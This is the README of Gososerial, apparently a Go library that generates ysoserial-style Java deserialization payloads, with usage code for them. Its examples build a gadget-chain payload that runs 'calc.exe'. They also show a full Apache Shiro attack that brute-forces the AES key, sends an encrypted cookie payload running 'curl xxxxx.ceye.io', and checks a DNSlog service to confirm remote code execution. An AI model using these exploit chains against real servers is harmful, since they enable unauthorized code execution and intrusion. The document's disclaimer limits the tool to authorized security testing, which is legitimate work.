Dynamically Generates Ysoserial’s Payload by Golang
Introduce
- Ysoserial is a well-known tool for Java deserialization security
- No Java environment and no need to download ysoserial.jar file
- Enter the command to directly obtain the payload, which is convenient for writing security tools
- Support CommonsCollections1-7,K1-K4,CommonsBeanutils1 Now
Example
CommonsCollections1 Payload
List of Supported
Quick Start
go get github.com/EmYiQing/Gososerial
package main
import gososerial "github.com/EmYiQing/Gososerial"
func main() {
payload := gososerial.GetCC1("calc.exe")
......
sendPayload(payload)
......
}
Example
func main() {
// Shiro Scan Code
target := "http://shiro_ip/"
// Brust Shiro AES Key
key := shiro.CheckShiroKey(target)
if key != "" {
log.Info("find key: %s", key)
}
// Use CommonsCollections5 Payload
var payload []byte
payload = gososerial.GetCC5("curl xxxxx.ceye.io")
// Send Cookies Encrypted By AES
shiro.SendPayload(key, payload, target)
// Receive Results Using Dnslog API
if ceye.CheckResult("your_ceye_token") {
log.Info("find shiro!")
}
}
About
Refer to the code of master p in xray
ysoserial: https://github.com/frohoff/ysoserial
xray: https://github.com/chaitin/xray
phith0n: https://github.com/phith0n
Disclaimer
Unauthorized use of Gososerial to attack the target is illegal
This program should only be used for authorized security testing and research purposes.